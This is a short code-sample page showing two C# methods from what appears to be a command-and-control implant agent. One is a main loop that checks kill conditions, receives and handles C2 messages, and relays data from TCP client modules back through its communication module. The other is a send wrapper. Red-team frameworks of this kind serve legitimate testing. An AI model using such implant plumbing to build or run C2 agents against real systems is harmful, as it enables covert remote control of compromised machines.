示例#1
0
        public void Start()
        {
            AgentStatus = AgentStatus.Running;

            CommModule.Start();

            while (AgentStatus == AgentStatus.Running)
            {
                CheckKillConditions();

                if (CommModule.RecvData(out AgentMessage incoming))
                {
                    if (incoming != null)
                    {
                        HandleC2Data(incoming);
                    }
                }

                foreach (var tcpClient in TcpClients)
                {
                    if (tcpClient.ModuleStatus == ModuleStatus.Running && tcpClient.RecvData(out AgentMessage outgoing))
                    {
                        CommModule.SendData(outgoing);
                    }
                }
            }
        }
示例#2
0
 private void SendData(AgentMessage message)
 {
     CommModule.SendData(message);
 }